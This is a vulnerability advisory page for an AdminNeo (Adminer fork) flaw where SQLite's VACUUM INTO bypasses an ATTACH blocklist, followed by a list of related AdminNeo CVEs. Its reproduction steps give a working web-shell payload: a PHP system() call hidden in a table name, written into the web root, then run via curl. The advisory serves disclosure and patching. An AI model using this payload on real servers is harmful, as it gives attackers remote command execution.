CVE-2026-96630: AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
Summary Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Published Oct 30, 2026
Affected packages
adminneo-org/adminneo
- Ecosystem
- Composer (PHP)
- Affected
- < 5.5.1
- Fixed in
- 5.5.1
- Check
composer show adminneo-org/adminneo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
Root Cause
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
Steps To Reproduce
1. Login to SQLite
- Open AdminNeo and select driver: SQLite
- Login and create a new database (e.g.,
stage.db)
2. Inject PHP code and write the shell
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
3. Execute commands
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Credited to vrana.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-59978
AdminNeo: version-cache array injection causes persistent denial of service
high7.5Oct 30, 2026CVE-2026-96629
AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery
medium6.8Oct 30, 2026CVE-2026-96631
AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers
high8.2Oct 30, 2026CVE-2026-96632
AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
high8.2Oct 30, 2026CVE-2026-96633
AdminNeo SQLite Database-List Drop Arbitrary File Deletion
high8.1Oct 30, 2026CVE-2026-96634
AdminNeo SQLite: multi_query Incorrect Check of Function Return Value RCE
medium6.9Oct 30, 2026
